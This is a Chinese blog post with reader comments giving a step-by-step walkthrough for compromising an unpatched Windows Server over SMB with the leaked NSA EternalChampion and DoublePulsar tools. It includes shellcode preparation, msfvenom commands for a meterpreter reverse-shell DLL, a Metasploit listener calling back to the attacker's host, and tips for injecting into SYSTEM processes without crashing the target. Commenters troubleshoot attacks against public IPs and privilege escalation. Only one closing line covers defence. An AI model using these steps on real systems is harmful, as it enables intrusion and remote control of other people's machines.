登录
  • 人们都希望被别人需要 却往往事与愿违
  • 小时候一个劲地教你做好人, 长大了一个劲地教你做坏人这就是中国式教育

[ShadowBroker]2: NSA 工具集 EternalChampion 漏洞复现、ShellcodeBuffer

畅言 Benny 小土豆 15560 次浏览 3077 字 36 个评论
文章目录 [显示]
这篇文章在 2018 年 02 月 03 日 14:11:08 更新了哦~

警告:
本文仅供实验性研究,请勿用于非法用途,出啥事我不负责。真的!别算我头上,我胆小害怕。

目前,某些特定版本的 Windows 10 也可以了,可以参见这个 PR https://github.com/rapid7/metasploit-framework/pull/9473

话说几天之前 WannaCry 的爆发真是让 EternalBlue 又火了一番,不少学校、公司都中招了。可不,我的博客都蹭热度有了前所未有的 800PV(还是 UV)。

我想起来三个多星期之前曾经写过《EternalBlue+Doublepulsar+meterpreter 渗透 Windows》,EternalBlue 使用几乎是没有门槛,但是有的时候会不支持某些特定的操作系统,此时就要使用其他的 Eternal 系列了,比如说 EternalChampion。

但是在使用 EternalChampion 的时候,发现它需要ShellcodeBuffer,如下图所示,按照常理讲,这玩意不应该运行了就啪啪啪植入后门了么?

[ShadowBroker]2: NSA工具集EternalChampion漏洞复现、ShellcodeBuffer

ShellcodeBuffer :: DOPU Shellcode buffer

类似地,EternalRomance 也需要 Shellcode,不像 EternalBlue 那样直接一路回车就行了。

有些人的第一想法可能是用 msf 生成一个 shellcode,然后在这里指定文件,但实际上这样做会似的目标机器蓝屏的,为啥,因为这玩意需要DOPU Shellcode,DOPU 是啥,哎,不就是 DOublePUlsar 吗?

所以,此次咱们就从 SMB 出发,看看能用上啥漏洞利用工具吧!

准备工作

此次配置环境和上篇差不多

攻击机 1

带有漏洞利用工具集的 XP,并且此次需要准备好 WinHex, IP 172.26.97.35

攻击机 2

Kali, IP 172.26.97.226

靶机

Windows Server 2008 SP1 x86, IP 202.X.X.X,已经开启 445 端口

开启 FuzzBunch

不知道怎么运行 FuzzBunch 的,请参考我的上篇博文,操作方式和上次一样。TargetIP写靶机 IP 202.X.X.X,CallBack写运行 fb 的 IP,也就是 172.26.97.35,不使用 Redirection

[ShadowBroker]2: NSA工具集EternalChampion漏洞复现、ShellcodeBuffer

使用 smbtouch 探测

  1. use smbtouch
  2. execute

smbtouch 会为我们探测出目标系统适用的漏洞利用程序

[ShadowBroker]2: NSA工具集EternalChampion漏洞复现、ShellcodeBuffer

在这里我们可以看到,目标系统是 32 位的,EternalBlue 和 EternalSynergy 不支持攻击靶机,EternalRomance 无法攻击,只有 EternalChampion 可以。

使用 Doublepulsar 生成 shellcode

smbtouch 成功之后,我们使用 Doublepulsar 来生成 shellcode

  1. use Doublepulsar

我们一路回车默认,会发现多出来一个名为OutputInstall的选项,选择这个

[ShadowBroker]2: NSA工具集EternalChampion漏洞复现、ShellcodeBuffer

然后输入路径,比如说C:\shellcode.bin,一路回车执行就会生成 shellcode

将 shellcode 转换成 HEX

由于 EternalChampion 需要的是ShellcodeBuffer而不是ShellcodeFile,所以这里我们需要将 Doublepulsar 生成的 shellcode 转换成十六进制;如果你用的是 EternalRomance,那么应该用的是ShellcodeFile,可以跨过此步

使用 WinHex 打开我们刚刚生成的shellcode.bin,然后选择Edit-Copy All-Hex Values,如下图所示:

[ShadowBroker]2: NSA工具集EternalChampion漏洞复现、ShellcodeBuffer

使用 EternalChampion 进行攻击

现在 shellcode 已经在我们的剪贴板中了,我们就要使用 EternalChampion 来进行攻击了。

  1. use EternalChampion

一路回车,在程序提示ShellcodeBuffer :: DOPU Shellcode buffer时右键粘贴进那一堆十六进制,由于 Shellcode 比较长(4KB),所以可能会花几秒钟才会粘贴完。有人反应直接输入 4096、50 也行。

[ShadowBroker]2: NSA工具集EternalChampion漏洞复现、ShellcodeBuffer

在之后我们一路回车默认,信息应该都是和目标系统相符的。在Mode :: Delivery mechanism时像上次一样选择 FB

[ShadowBroker]2: NSA工具集EternalChampion漏洞复现、ShellcodeBuffer

之后程序会进行询问,我们回车就能够运行 EternalChampion

啊哟, 赢了,金牌,NSA 你们这群人真幽默……

[ShadowBroker]2: NSA工具集EternalChampion漏洞复现、ShellcodeBuffer

注意:如果你是用的 exploit 需要Shellcode File,那么这里直接输入 shellcode 的路径,本例中为C:\shellcode.bin,推荐把 shellcode 放在根目录,据 GitHub 上某人的回复,如果放在某个目录下可能会导致 exploit 不认。

使用 Doublepulsar 注入恶意 dll

在这之后,我们使用 Doublepulsar 注入恶意 dll,和上次操作基本一致,这里我们就再复述下吧

但是在此之前,我想看看后门是否存在,那就 Doublepulsar 中的选择function: 1 ping,就可以确定后门是否存在啦

[ShadowBroker]2: NSA工具集EternalChampion漏洞复现、ShellcodeBuffer

好,咱还是生成恶意 dll 并用 Doublepulsar 注入吧!

msfvenom 生成恶意 dll

切换到 Kali,此次就使用reverse_tcp

  1. #32位操作系统,所以生成32位的dll
  2. msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.26.97.226 LPORT=8089 -f dll >badbad.dll
  3. #打开MetaSploit,开始监听;如果靶机是64位系统,自行更换
  4. set PAYLOAD windows/meterpreter/reverse_tcp
  5. use exploit/multi/handler
  6. set LHOST 172.26.97.226
  7. set LPORT 8089
  8. run

之后将这个 dll 拷贝到 XP 中,使用 Python 创建个 http 服务器

  1. python m SimpleHTTPServer 80

拿起久违的 IE,下载这个badbad.dll文件

注入 dll

  1. use DoublePulsar

一路回车默认,只需要选择function 2 Run DLL,输入我们的 dll 文件路径

[ShadowBroker]2: NSA工具集EternalChampion漏洞复现、ShellcodeBuffer

然后最后直接运行,就会发现反弹成功,拿到权限了!

[ShadowBroker]2: NSA工具集EternalChampion漏洞复现、ShellcodeBuffer

啊哟,执行不了 meterpreter 命令?

在一些情况下,我们可能会拿到 meterpreter 的会话,但是可能会发现执行不了啥命令,ping 下不通了,猜测目标机器蓝屏了,那咋办呢?

等等直到 ping 通,然后再次运行 EternalChampion 攻击,它会记得我们输入的 shellcode,所以一路回车,然后再次运行 Doublepulsar,在程序提示ProcessName [lsass.exe]:选择其他的以NT Authority\System运行的进程名,比如说spoolsv.exe, SearchIndexer.exe, lsm.exe,这就自己试试了。然后就应该不会蓝屏啦~

其实选择啥进程其实都是可以的,大不了运行 meterpreter 的时候migrate到其他进程就可以了。

后记

EternalBlue 支持的系统

通过查看 xml 文件能发现,有点奇怪,EternalBlue 的配置文件中支持了这么多系统,但是有时却报告不支持。

[ShadowBroker]2: NSA工具集EternalChampion漏洞复现、ShellcodeBuffer

Special?

大家能看到,EternalBlue 和 EternalChampion 是在Windows\Specials这个目录下,Special,足以看到这俩工具威力是多么巨大吧!真是可怕……

防范手段

安装 SM17-010 补丁,开启防火墙过滤 445,关闭 SMB 服务。


文章版权归原作者所有丨本站默认采用 CC-BY-NC-SA 4.0 协议进行授权 |
转载必须包含本声明,并以超链接形式注明原作者和本文原始地址:
https://dmesg.app/eternalchampion.html
喜欢 (6)
分享:-)
关于作者:
If you have any further questions, feel free to contact me in English or Chinese.
发表我的评论
取消评论

                     

去你妹的实名制!

  • 昵称 (必填)
  • 邮箱 (必填,不要邮件提醒可以随便写)
  • 网址 (选填)
(36) 个小伙伴在吐槽
  1. 使用 smbtouch 探测的时候报错:nterroraccessdenied,能 ping 通, 能 telnet 连接 445 端口,是因为已经打了补丁吗,还是其他原因,该怎么解决啊,大神知道吗
    lazycat2017-12-29 17:00 回复
    • 可能是… 也可能是… 人家是个… Linux
      Benny 小土豆 2017-12-29 17:03 回复
  2. 请问一下,针对 IIS6.0 漏洞的 explodingcan,利用时卡在 Receiving callback 这,是什么情况呐?还有,有时候针对 smb 的漏洞在跨网段时也会卡在 Receiving callback 这,是因为跨网段吗?
    hard2017-07-04 08:01 回复
    • 你使用啦 redirection?
      Benny 小土豆 2017-07-04 08:03 回复
      • 没啊,
        hard2017-07-04 08:15 回复
        • 那我不清楚,只要能够利用、能够 ping 通就应该是可以的。
          Benny 小土豆 2017-07-04 08:16
      • 目标是公网 ip,我是内网 ip,回连 ip 我填的是我的公网 ip,然后又在公网主机上做的映射
        hard2017-07-04 08:17 回复
        • 嗯,要确保目标能够连接到你,开端口映射或者 dmz,要不用 bind 模式试试也行。
          Benny 小土豆 2017-07-04 08:18
        • 哦,突然想到,是不是目标主机回连时,在节点交换机或路由器被拦截了?还没到 doublepulsar 利用那,没法试 bind, :cry: :cry: :cry:
          hard2017-07-04 09:50
        • 也可能是打补丁了呗
          Benny 小土豆 2017-07-04 10:57
  3. 针对 windows server 2003 sp2 x86 zh_cn 实验成功,拿到的却是 network service 权限,请问正常吗?你们也是这样吗?
    hard2017-07-03 16:45 回复
    • 注入到其他进程,或者尝试 migrate 或 getsystem
      Benny 小土豆 2017-07-03 18:28 回复
  4. “反弹成功后,靶机提示 “您将要被注销”,一分钟后电脑就重启了,怎么破” 我可以确定是 dll 的问题,我用别人的 dll(功能是添加一个管理员用户),成功,靶机没有提示要注销了,msfvenom 生成的 dll 既然兼容性有问题
    代码师 2017-06-11 02:49 回复
    • 换一个注入的进程名,默认 lsass.exe,你可以换成 explorer.exe
      12017-06-11 02:54 回复
    • 和楼上看法一样,尝试着换一个进程,比如说比如说spoolsv.exe, SearchIndexer.exe, lsm.exe,或者随意选个进程然后 migrate; 提示 “您将要被注销” 是因为 Windows 的一些关键进程、服务(由于我们注入 dll)意外退出了,如果此时你拿到了 shell,一分钟之内直接shutdown -a也可以阻止关机; msfvenom 的 dll 兼容性问题… 我暂时没遇到过… PS,我文中有一块写错了,32 位系统要用 32 位来监听。
      Benny 小土豆 2017-06-11 08:33 回复
  5. 反弹成功后,靶机提示 “您将要被注销”,一分钟后电脑就重启了,怎么破
    代码师 2017-06-11 02:35 回复
    • GUI 那个工具可以分享么?
      Thuder2017-07-28 01:34 回复
      • 查收邮件,但是…… 好吧。
        Benny 小土豆 2017-07-28 09:26 回复
    • 能不能告诉下解压密码呢?
      Thuder2017-07-29 01:42 回复
      • :sad: 对 你只能问层主了,我不知道密码。
        Benny 小土豆 2017-07-29 08:13 回复
  6. 溢出成功了,公网 msf 监听,想反弹 shell 过去,dll 执行成功了,但收不到反弹过来的 shell
    12017-06-11 02:10 回复
    • 你好,统一回复你的这两个问题:在公网找个服务器(比如说阿里云腾讯云)是可行的,只要同样安装好MetasSploit就可以,但是要注意防火墙、安全组的问题;还有一点需要注意,有些靶机可能不连接外网(内部物理隔离的);最后监听配置写错这种低级错误就不用再说了吧!
      Benny 小土豆 2017-06-11 08:27 回复
      • 谢谢,另外我做了个图形化版本(含 8 个漏洞利用),你要的话,我可以送给你,还有 Eternalsynergy(永恒协作)我用起来这个 exe 老是出错,希望大牛出个教程
        代码师 2017-06-12 21:38 回复
        • 啊呀,做了个 GUI?方便开源出来么?Eternalsynergy 的话…… 是针对 Windows 8 SP0 和 Server 2012 的吧?还真没搜到教程,我试试吧,你可以用 RSS 订阅器订阅我,这样有更新你就能看到了。
          Benny 小土豆 2017-06-12 21:47
        • 相联系你加 Q68137551
          代码是 2018-02-05 09:22
        • 好东西哦 可以参考下吗?
          xiaoxiao2018-02-19 02:25
        • 大牛能分享下吗 留个 QQ 呗
          xiaoxiao2018-02-20 23:57
  7. 在公网找台主机上监听是否可行
    12017-06-11 01:41 回复
  8. 试了无数次了,都失败,w2003,w2008,xp,检测存在永恒之冠漏洞的,攻击起来却失败,求博主解惑
    代码师 2017-06-09 23:54 回复
    • Hi 你好,请首先确认靶机没有安装 ms17-010。并且要注意一下,对方真的是 Windows 吗?不排除有的 Linux 服务器会开放 445 端口,所以先用smbtouch检测下吧。
      Benny 小土豆 2017-06-10 00:01 回复
      • 开共享,关闭防火墙,可以了,谢谢
        代码师 2017-06-10 01:49 回复
    • 老铁能不能给个解压密码呢?顺便留个联系方式日后交流。
      Thuder2017-07-30 22:38 回复
  9. :wink: 过来踩踩 :grin:
    T 先生 2017-05-16 22:20 回复
    • 不要拿来做坏事哟~
      Benny 小土豆 2017-05-16 23:03 回复
  10. 哇最近好高产 ??
    ホロ 2017-05-16 17:13 回复
    • ? 都怪 NSA
      Benny 小土豆 2017-05-16 17:40 回复
您直接访问了本站! 莫非您记住了我的域名. 厉害~ 我倍感荣幸啊 嘿嘿